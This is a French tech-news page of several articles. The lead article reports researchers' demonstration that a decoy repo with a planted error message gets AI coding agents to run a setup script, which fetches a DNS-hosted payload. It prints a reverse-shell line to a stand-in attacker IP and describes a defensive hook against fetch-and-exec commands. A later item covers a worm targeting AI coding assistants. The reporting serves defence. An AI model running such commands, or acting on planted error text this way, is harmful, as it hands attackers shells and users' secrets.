Le 2 juillet 2026, GitHub a lancé une opération très limitée permettant de recevoir son dépôt public sur CD-ROM. Une réponse ouvertement ironique à Sony, qui prévoit d’arrêter les disques PlayStation dès janvier 2028.
Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.
Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !
Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.
Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.
Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.
Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :
En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.
À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.
C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.
L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette
bibliothèque Java qui piégeait les IA codeuses
, sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les
deux failles du bac à sable de Claude Code
donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.
Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.
Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :
À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.
Un outil comme
LuLu
(gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.
Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.
Il y a des problèmes qui n'existent pas, et des gens qui les résolvent quand même... Ray Foss en fait partie. Ce dernier a fait en sorte que sa Steam Controller flambant neuve rampe toute seule jusqu'à son chargeur, sans qu'il ait à lever le petit doigt. Et pour cela, il a codé son
Triton Auto-Charge Vision Tracker
qui tourne
entièrement dans le navigateur
et qui est utilisable par tous !
Le principe est bien tordu... Vous collez une webcam au-dessus de votre bureau, vous ouvrez la page, et vous cliquez sur trois points à l'écran : le palet de charge, l'avant de la manette, l'arrière. À partir de là, la vision par ordinateur suit la manette en temps réel pendant que le code pilote ses deux petits moteurs de vibration internes.
Petit rappel si vous aviez hiberné, Valve a ressorti sa
Steam Controller
en mai dernier, des années après avoir lâché la première. Elle se recharge sur un palet magnétique, et c'est pile poil cette dernière étape que Foss a automatisée. La Steam Controller, c'est aussi la manette dans laquelle Valve a
planqué un cri Wilhelm
, et visiblement elle attire les bidouilleurs.
En pulsant ces moteurs de façon asymétrique, autour de 70 Hz, la page fait littéralement ramper la manette sur le bureau et la réoriente petit à petit vers le palet. C'est le principe de ces
bristlebots
faits avec une brosse à dents et un moteur vibreur de téléphone, sauf qu'ici les moteurs étaient prévus pour faire vibrer la manette dans vos jeux, et surement pas pour la balader sur le bureau...
Pas d'install, pas de pilote à régler non plus, c'est la page qui se connecte directement à la manette via WebHID, la même techno qui permet déjà de
tester son matos gaming dans le navigateur
, à condition d'être sur Chrome ou Edge parce que Firefox et Safari boudent toujours cette API.
L'interface de l'outil, avec les points de repère à placer sur la manette et le palet.
Au passage, elle lit la batterie de la manette et vous affiche le pourcentage et même le voltage de la cellule, histoire de confirmer que le contact magnétique se fait bien.
Foss a aussi prévu un mode approche en douceur qui réduit de moitié la fréquence des vibrations quand la manette arrive tout près du palet, pour qu'elle se pose dedans au lieu de le percuter. Enfin, en théorie, parce qu'il prévient lui-même que l'amarrage n'est pas garanti.
La vraie limite du truc, c'est que le calage des points de repère reste assez pénible à faire.
Ça ne sert strictement à rien, mais c'est marrant. Le projet est en open source sur GitHub si vous voulez tenter le coup chez vous.
Claude Code génère déjà au moins 4% des commits publics de GitHub (135 000/jour). Une vague de code IA qui pousserait Microsoft à louer de la capacité chez AWS.
Depuis le lancement du MacBook Neo, de nombreux utilisateurs signalent un bug étrange : le curseur ralentit ou saute près des bords de l’écran, ou à l’ouverture du Terminal. Le problème est mineur au quotidien, mais il alimente les discussions en ligne. Tandis que certains cherchent encore à comprendre la cause du problème, un développeur a trouvé une solution de contournement et en a fait une application.
Depuis le lancement du MacBook Neo, de nombreux utilisateurs signalent un bug étrange : le curseur ralentit ou saute près des bords de l’écran, ou à l’ouverture du Terminal. Le problème est mineur au quotidien, mais il alimente les discussions en ligne. Tandis que certains cherchent encore à comprendre la cause du problème, un développeur a trouvé une solution de contournement et en a fait une application.
Le 16 juin 2026, un groupe d’extorsion a affirmé avoir volé plus d’un téraoctet de données à Novo Nordisk, le géant danois derrière Ozempic et Wegovy. L’entreprise avait reconnu quelques jours plus tôt un incident de sécurité touchant certains systèmes internes.
Si vous faites un peu de renseignements (OSINT) et que ce que vous cherchez, c'est des pseudos de cybercriminels, spmedia a un truc qui devrait vous plaire. Son repo GitHub
Threat-Actor-Usernames-Scrape
rassemble environ 773 000 pseudos uniques récupérés sur des forums de cybercriminels. C'est gratuit, en accès libre. Et ça peut vous faire gagner pas mal de temps si vous faites de l'
OSINT
.
Son délire, c'est de scraper les sections "Who's Online", les threads et les réponses de forums comme HackForums, DarkForums, BreachForums, XSS.pro, Dread, OGUsers et une vingtaine d'autres, ou de récupérer des extraits de fuites. L'intérêt de ce genre de truc, c'est de capter ces données pour ensuite les réutiliser dans vos propres projets. Ça vous permet par exemple de préparer un fichier texte propre par forum, qui est prêt à être ingéré dans un
TIP
(Threat Intelligence Platform) ou croisé avec vos données.
Au total, y'a environ 820 000 noms d'utilisateurs dans ce repo, dont ~46 000 en double. Les plus gros forums actifs sont Cracked.sh (~226 000 pseudos collectés), DarkForums.su (~75 000) et Altenen.is (~74 000). Côté forums morts, BreachForums.st domine avec ~57 000 entrées, devant la fuite Nulled (~42 000) et BreachForums.as (~39 000).
Il y a de quoi fouiller, quoi...
Spmedia a monté ce projet parce qu'il en avait marre des boîtes de threat intel qui facturent 5 à 6 chiffres par an pour accéder au même genre de données. On peut donc lui dire merci, même si ça ne remplace pas un vrai service CTI avec contexte et analyse. C'est juste des noms d'utilisateur sans autre enrichissement. Faudra donc croiser ça avec d'autres sources mais pour du pistage de pseudo ou une wordlist ciblée, ça peut aider.
Vous pouvez par exemple utiliser ces listes pour repérer un même pseudo sur plusieurs forums, constituer des wordlists ou simplement suivre quels sites ressortent après un takedown. Certains disparaissent, d'autres reviennent 48h plus tard sous un nouveau TLD (ambiance hydre de lerne, quoi).
Chaque fichier contient un pseudo par ligne et l'import dans un SIEM ou un script Python vous prendra 2 minutes. N'oubliez pas non plus qu'une bonne partie de ces comptes sont des kiddies ou des curieux, donc croisez toujours avec d'autres sources avant de pointer du doigt qui que ce soit...
Grasp
, c'est une alternative décentralisée à GitHub, signée DanConwayDev, le dev derrière ngit. Ça carbure à
Nostr
, le protocole décentralisé de fiatjaf, et l'idée avec ce truc, c'est que votre identité de dev, ce n'est plus un compte avec un email et un mot de passe, mais juste une paire de clés cryptographiques qui ne dépend de personne. Vous publiez votre code depuis le terminal, sans avoir à vous inscrire nulle part et pi c'est tout !
Vous me connaissez, j'adore fureter à la recherche de petits outils cools à partager avec vous, et niveau décentralisation, celui-là vaut le détour. Pour tester, ça se passe avec l'outil
nak
. Vous créez votre dépôt, vous le synchronisez, vous poussez comme ceci :
Pour cloner le dépôt de quelqu'un d'autre, c'est nak git clone <npub-du-maintainer>/mon-projet, et pour lui envoyer un patch, nak git patch send HEAD^. Pas de fork ni de pull request à remplir dans une interface pour contribuer au code des autres... C'est beau non ?
Derrière, tout repose sur Nostr et sa spec
NIP-34
qui transforme un dépôt, une issue ou un patch en messages signés que n'importe quel serveur peut relayer. Du coup chaque état de votre code est signé par votre clé, et comme ça, vos dépôts migrent d'un serveur à l'autre sans rien perdre. Impecc si vous ne faites pas confiance aux hébergeurs.
La vraie différence avec un Forgejo ou un Gitea que vous auto-hébergez, c'est donc que vous ne créez pas un compte sur chaque instance. Votre identité Nostr vous suit partout, une seule clé pour tous les serveurs ! À ne pas confondre par contre avec
Radicle
, qui fait du P2P local-first avec son propre protocole gossip et Git en natif (et pas sur IPFS, contrairement à ce qu'on lit souvent, le vrai GitHub-sur-IPFS ce serait plutôt
GitLike
).
Grasp, lui, parie sur l'interopérabilité : plusieurs clients, plusieurs serveurs, un seul standard, et tout communique.
Et l'écosystème est déjà bien debout avec ngit-grasp comme serveur de référence, pyramid pour gérer une communauté, viewsource.win pour visualiser le code dans le navigateur, et gitworkshop.dev pour une interface complète façon GitHub.
Maintenant ce n'est pas non plus la solution miracle, car c'est encore un peu trop jeune à mon goût... Mais c'est à tester car le jour où l'un de ces frontends web deviendra vraiment carré et grand public, il pourrait bien venir taquiner GitHub, et ça, c'est plutôt une bonne nouvelle...
73, c'est le nombre de dépôts désactivés par GitHub au sein de ses organisations officielles de Microsoft sur GitHub pour prévenir la propagation d'un ver.
GitHub a désactivé 73 dépôts appartenant à Microsoft en l'espace de 105 secondes, le temps de couper la propagation d'un ver baptisé Miasma.
Un ver, vous le savez, c'est ce genre de logiciel malveillant qui se recopie tout seul d'un projet à l'autre, sans la moindre intervention humaine. Celui-là s'attaque directement aux développeurs, et plus précisément à leurs outils.
Tout est parti du dépôt Azure/durabletask. Un compte de contributeur compromis y a poussé un commit piégé, qui déposait au passage quelques fichiers de configuration. Anodin, en apparence.
Sauf que ces fichiers déclenchaient une exécution de code à distance, autrement dit l'attaquant faisait tourner son propre code sur votre machine, dès l'instant où vous ouvriez le dépôt dans un éditeur. Et pas n'importe lesquels : les assistants de codage dopés à l'IA étaient explicitement visés, Claude Code, Gemini CLI et Cursor en tête. Objectif, siphonner les secrets d'accès au cloud et les configurations des outils de développement, surtout sous Linux.
La purge a frappé quatre organisations GitHub de Microsoft d'un coup : toute l'org Azure Functions, l'ensemble de la famille Durable Task, et une série d'applications-exemples destinées à l'IA.
Problème, parmi les dépôts désactivés se trouvait Azure/functions-action, une brique que des milliers de projets appellent dans leurs chaînes d'automatisation, celles qui compilent et déploient le code sans intervention manuelle. Du coup, dès que functions-action@v1 a cessé de répondre, des pipelines entiers se sont effondrés en cascade, bien au-delà des serveurs de Microsoft.
Ce n'est pas la première sortie de Miasma. Le 19 mai, le ver visait déjà le paquet durabletask sur PyPI, le dépôt public où les développeurs Python piochent leurs briques de code : trois versions vérolées y ont été publiées en 35 minutes. Le 3 juin, c'est plus de 50 paquets npm, l'équivalent côté JavaScript, qui passaient à la moulinette.
Le retour sur durabletask interroge. Pour Ashish Kurmi, directeur technique de la société de sécurité StepSecurity, les jetons d'accès du compte développeur déjà compromis lors de l'attaque sur PyPI n'avaient visiblement pas tous été révoqués. La même porte est restée grande ouverte.
Côté filiation, l'éditeur de sécurité Snyk décrit Miasma comme un descendant de Mini Shai Hulud, un ver revendiqué par le groupe cybercriminel TeamPCP, qui a ensuite gentiment publié son code en open source. Microsoft, de son côté, n'a pas répondu aux sollicitations de la presse.
Bref, un seul commit, et c'est tout un pan de l'infrastructure des développeurs qui tremble.
Un groupe de cybercriminels a mené une série d'attaques coordonnées contre la chaîne d'approvisionnement logicielle, compromettant des dizaines de paquets et de dépôts de développement. Au coeur de leur campagne ? Un malware nommé Miasma qui injecte sa charge utile dans les outils que les développeurs utilisent chaque jour.
Un employé de GitHub a installé une extension VS Code malveillante sur son PC : les pirates ont pu mettre la main sur environ 3 800 dépôts de code internes.
Des chercheurs en sécurité de Wiz ont découvert une vulnérabilité critique dans l'infrastructure interne de GitHub, permettant à n'importe quel utilisateur authentifié d'exécuter du code arbitraire sur les serveurs de la plateforme, le tout avec une seule commande git.
Dans un article de blog publié le 1er avril 2026, les chercheurs de Zscaler ThreatLabz ont mis en lumière une campagne cybercriminelle opportuniste : des acteurs malveillants ont exploité la récente fuite du code source de Claude Code pour piéger des développeurs et leur faire télécharger des infostealers.
GitHub change son fusil d'épaule. Après avoir laissé planer un temps l’idée que les données de ses utilisateurs serviraient avant tout à améliorer Copilot sans forcément être réinjectées dans les modèles d’IA, la plateforme annonce désormais qu’elles seront bel et bien utilisées pour entraîner ses IA, à certaines conditions.
Dans un article de blog publié le 24 mars 2026, les chercheurs de l'entreprise de cybersécurité Snyk reviennent sur le déroulé d'une attaque menée contre la bibliothèque Python LiteLLM. Le projet, utilisé par des millions de développeurs, a été compromis pendant trois heures. Derrière l'attaque, un groupe nommé TeamPCP qui avait préparé son coup cinq jours à l'avance.